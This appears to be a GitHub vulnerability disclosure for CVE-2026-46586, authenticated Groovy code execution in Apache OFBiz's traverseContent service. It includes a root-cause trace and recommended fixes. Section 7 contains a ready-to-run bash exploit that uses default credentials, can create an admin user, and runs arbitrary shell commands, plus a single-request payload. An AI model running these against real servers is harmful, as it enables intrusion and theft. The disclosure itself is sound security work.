lwd3c/CVE-2026-46586

GitHub: lwd3c/CVE-2026-46586

Stars: 0 | Forks: 0

# CVE-2026-46586 - Apache OFBiz: Improper Validation in traverseContent Service Enables Authenticated Groovy Code Execution **Date:** 2026-05-15 **Tested revision:** `def2d13bb14a4a74fcac7f6e38a83fec7c32fc54` (trunk, latest as of report date) **Finder:** **lwd3c** ## Timeline - 2026-05-15 — Vulnerability discovered, reported privately, acknowledged by the Apache OFBiz Security Team, and assigned CVE-2026-46586 - 2026-05-15 — Initial fix developed, shared for validation, and verified by the researcher - 2026-05-19 — CVE-2026-46586 publicly disclosed ## 1. Summary The `traverseContent` service accepts user-controlled string parameters (`pickWhen`, `followWhen`, `returnBeforePickWhen`, `returnAfterPickWhen`) that are passed without validation into `ContentWorker.checkWhen()`. This method performs a **double evaluation**: 1. `FlexibleStringExpander.expandString()` — processes `${groovy:...}` scriptlets 2. `GroovyUtil.eval()` — evaluates the expanded result as Groovy code An authenticated user with `SERVICE_MAINT` permission can inject a `${groovy:...}` expression that executes arbitrary OS commands on the server via the JSR-223 Groovy engine with no sandbox. ## 2. Affected Files | File | Line(s) | Role | |------|---------|------| | `applications/content/servicedef/services.xml` | 251 | `traverseContent` service — `auth="false"`, no service-layer auth | | `applications/content/.../ContentServices.java` | 208–212 | `pickWhen`/`followWhen` copied from user context into `whenMap` with no validation | | `applications/content/.../ContentWorker.java` | 537, 775–796 | `checkWhen()` — expands user input via FSE then evals via Groovy | | `framework/base/.../FlexibleStringExpander.java` | 317–320 | `${groovy:}` prefix detection → routes to `ScriptUtil.evaluate()` | | `framework/base/.../ScriptUtil.java` | 264 | `engine.eval(script, scriptContext)` — JSR-223, no sandbox | | `framework/webapp/.../CoreEvents.java` | 116, 340 | `SERVICE_MAINT` check; `dispatcher.runSync()` on `_RUN_SYNC_=Y` | ## 3. Root Cause ### ContentWorker.java:775 — checkWhen() public static boolean checkWhen(Map context, String whenStr, boolean defaultReturn) { boolean isWhen = defaultReturn; if (UtilValidate.isNotEmpty(whenStr)) { FlexibleStringExpander fse = FlexibleStringExpander.getInstance(whenStr); String newWhen = fse.expandString(context); // Stage 1: expands ${groovy:...} try { Object retVal = GroovyUtil.eval(newWhen, context); // Stage 2: evals result as Groovy The `whenStr` value comes directly from the HTTP request parameter `pickWhen` with no sanitization at any point in the call chain. ### FlexibleStringExpander.java:317 — ${groovy:} detection if (expression.indexOf("groovy:", start + 2) == start + 2 && !escapedExpression) { // "checks to see if this starts with a 'groovy:', if so treat the // rest of the expression as a groovy scriptlet" strElems.add(new ScriptElem(chars, start, ..., start + 9, end - start - 9)); This is a documented, intentional feature of `FlexibleStringExpander`. The `ScriptElem` calls `ScriptUtil.evaluate()` at line 699. ### ScriptUtil.java:264 — JSR-223 execution return engine.eval(script, scriptContext); No sandbox. Full access to `java.lang.Runtime`, `ProcessBuilder`, file system, and network. The `ScriptUtil.isSafeScript()` guard is disabled by default: `useDeniedScriptletsTokens=false` in `framework/security/config/security.properties`. ### ContentServices.java:208–212 — no input filtering Map whenMap = new HashMap<>(); whenMap.put("followWhen", context.get("followWhen")); whenMap.put("pickWhen", context.get("pickWhen")); whenMap.put("returnBeforePickWhen",context.get("returnBeforePickWhen")); whenMap.put("returnAfterPickWhen", context.get("returnAfterPickWhen")); All four parameters flow from HTTP request to `checkWhen()` without any validation. ## 4. Source-to-Sink Trace HTTP POST /webtools/control/scheduleServiceSync [body] SERVICE_NAME=traverseContent _RUN_SYNC_=Y pickWhen=${groovy: } contentId= → CoreEvents.scheduleService() [CoreEvents.java:108] → security.hasPermission("SERVICE_MAINT", userLogin) [CoreEvents.java:116] → dispatcher.runSync("traverseContent", context) [CoreEvents.java:340] → ContentServices.traverseContent() → whenMap.put("pickWhen", context.get("pickWhen")) [ContentServices.java:210] → ContentWorker.traverse(..., whenMap, ...) [ContentServices.java:221] → ContentWorker.traverse() → checkWhen(context, whenMap.get("pickWhen"), true) [ContentWorker.java:537] → ContentWorker.checkWhen() [ContentWorker.java:775] → FlexibleStringExpander.getInstance(whenStr) → fse.expandString(context) [ContentWorker.java:779] → FlexibleStringExpander (ScriptElem.get()) → detects "${groovy:...}" prefix [FSE.java:317] → ScriptUtil.evaluate("groovy", script, ...) [FSE.java:699] → ScriptUtil.evaluate() → engine.eval(script, scriptContext) [ScriptUtil.java:264] → *** ARBITRARY CODE EXECUTION *** ## 5. Why Existing Defenses Do Not Prevent This | Defense | Why it fails | |---------|--------------| | `auth="false"` on service | Service layer skips auth; relies entirely on controller. Any webapp with service dispatch and no `SERVICE_MAINT` check could invoke this service. | | `${groovy:}` is documented | `FlexibleStringExpander` deliberately supports Groovy scriptlets — this is a design feature being misused. | | `ScriptUtil.isSafeScript()` | Gated by `useDeniedScriptletsTokens=false` (default), so the deny-list is never consulted. | | No input validation | Zero sanitization on `pickWhen`/`followWhen`/`returnBeforePickWhen`/`returnAfterPickWhen` anywhere in the call chain. | ## 6. Impact An authenticated user with `SERVICE_MAINT` permission can: - Execute arbitrary OS commands as the OFBiz process user - Read or exfiltrate any file accessible to the process (configs, keys, DB files) - Write files to disk (webshell, cron, SSH authorized_keys) - Pivot to internal services not exposed externally ## 7. Proof of Concept ### Requirements - OFBiz running with demo data loaded - Valid credentials with `SERVICE_MAINT` permission (default: `admin` / `ofbiz`) ### PoC Script #!/bin/bash # Apache OFBiz RCE PoC # Usage: ./poc.sh [user] [password] [command] # Default: admin / ofbiz / id # Also works: flexadmin / ofbiz # Command examples (use single quotes): # ./poc.sh admin ofbiz 'id' # ./poc.sh admin ofbiz 'cat /etc/passwd' # ./poc.sh admin ofbiz 'ls -la /opt' # To create a new test user first, run: ./poc.sh create_test_user TARGET="https://localhost:8443" USER="${1:-admin}" PASS="${2:-ofbiz}" CMD="${3:-id}" COOKIE_JAR="/tmp/ofbiz_rce_cookies.txt" RCE_OUTPUT="/tmp/ofbiz_rce_result.txt" create_test_user() { echo "[*] Creating test user (requires admin login)..." curl -sk -c "$COOKIE_JAR" "$TARGET/webtools/control/checkLogin" -o /dev/null curl -sk -L -c "$COOKIE_JAR" -b "$COOKIE_JAR" "$TARGET/webtools/control/login" \ -d "USERNAME=admin&PASSWORD=ofbiz&JavaScriptEnabled=Y" -o /dev/null curl -sk -b "$COOKIE_JAR" \ -d "partyId=RCEUSER&partyTypeId=PERSON&statusId=PARTY_ENABLED" \ "$TARGET/webtools/control/entity/change/Party" -o /dev/null curl -sk -b "$COOKIE_JAR" \ -d "partyId=RCEUSER&firstName=RCE&lastName=User" \ "$TARGET/webtools/control/entity/change/Person" -o /dev/null curl -sk -b "$COOKIE_JAR" \ -d "userLoginId=rceuser&partyId=RCEUSER&enabled=Y¤tPassword={SHA}47b56994cbc2b6d10aa1be30f70165adb305a41a" \ "$TARGET/webtools/control/entity/change/UserLogin" -o /dev/null curl -sk -b "$COOKIE_JAR" \ -d "userLoginId=rceuser&groupId=FLEXADMIN&fromDate=2024-01-01 12:00:00.0" \ "$TARGET/webtools/control/entity/change/UserLoginSecurityGroup" -o /dev/null echo "[+] Created user: rceuser / ofbiz" exit 0 } [ "$1" = "create_test_user" ] && create_test_user echo "[*] Target: $TARGET" echo "[*] User: $USER" echo "[*] Command: $CMD" # Step 1: Login echo -n "[*] Login..." curl -sk -c "$COOKIE_JAR" "$TARGET/webtools/control/checkLogin" -o /dev/null curl -sk -L -c "$COOKIE_JAR" -b "$COOKIE_JAR" "$TARGET/webtools/control/login" \ -d "USERNAME=$USER&PASSWORD=$PASS&JavaScriptEnabled=Y" -o /dev/null echo " done" # Step 2: Create Content record (required by traverseContent) CONTENT_ID="RCE_ROOT_$RANDOM" echo -n "[*] Creating content record ($CONTENT_ID)..." curl -sk -b "$COOKIE_JAR" \ -d "contentId=$CONTENT_ID&contentTypeId=DOCUMENT&contentName=rce&statusId=CTNT_PUBLISHED" \ "$TARGET/webtools/control/entity/change/Content" -o /dev/null echo " done" # Step 3: RCE echo -n "[*] Executing RCE payload..." curl -sk -b "$COOKIE_JAR" \ -d "SERVICE_NAME=traverseContent&_RUN_SYNC_=Y&POOL_NAME=pool" \ -d 'pickWhen=${groovy: new ProcessBuilder("sh","-c","'"$CMD"' | tee '"$RCE_OUTPUT"'").start().waitFor(); return true}' \ -d "contentId=$CONTENT_ID" \ "$TARGET/webtools/control/scheduleServiceSync" -o /dev/null echo " done" # Step 4: Verify echo "=== RCE output ===" cat "$RCE_OUTPUT" 2>/dev/null || echo "FAILED: No output file found" echo "" [ -f "$RCE_OUTPUT" ] && echo "RCE SUCCEEDED as $USER" || echo "RCE FAILED as $USER" ### Execution and Output $ ./poc.sh flexadmin ofbiz 'id' [*] Target: https://localhost:8443 [*] User: flexadmin [*] Command: id [*] Login... done [*] Creating content record (RCE_ROOT_10101)... done [*] Executing RCE payload... done === RCE output === uid=1000(lwd3c) gid=1000(lwd3c) groups=1000(lwd3c)... RCE SUCCEEDED as flexadmin ### Minimal Single-Request Payload (after auth + content setup) POST /webtools/control/scheduleServiceSync HTTP/1.1 Host: target:8443 Cookie: SERVICE_NAME=traverseContent&_RUN_SYNC_=Y&POOL_NAME=pool &contentId= &pickWhen=${groovy: new ProcessBuilder("sh","-c","id").start().waitFor(); return true} ## 8. Recommended Fix ### Primary fix — validate input in ContentServices.java Reject `pickWhen`, `followWhen`, `returnBeforePickWhen`, `returnAfterPickWhen` values containing script expressions before they enter `whenMap`: // ContentServices.java — traverseContent(), before line 208 for (String param : List.of("pickWhen","followWhen","returnBeforePickWhen","returnAfterPickWhen")) { String val = (String) context.get(param); if (val != null && val.contains("${")) { return ServiceUtil.returnError("Script expressions not permitted in content traversal conditions"); } } ### Secondary fix — change service auth ### Temporary mitigation Enable the Groovy scriptlet deny-list in `framework/security/config/security.properties`: useDeniedScriptletsTokens=true ## 9. Novelty This vulnerability has not been described in any public CVE report. Recent OFBiz security patches addressed: - `ProgramExport` — indirect import sandbox (`c0592a33b3`) - `scheduleService` / `runService` — `SERVICE_MAINT` check (`f05a0c2268`) - Entity MAINT permission check (`771efc4bd7`) - Tomcat CVEs (`def2d13bb1`) None of the above patches touch `ContentWorker.checkWhen()` or the `traverseContent` service parameter handling. ## 10. References - Apache OFBiz Security Advisory: https://ofbiz.apache.org/ - CVE Record: https://www.cve.org/CVERecord?id=CVE-2026-46586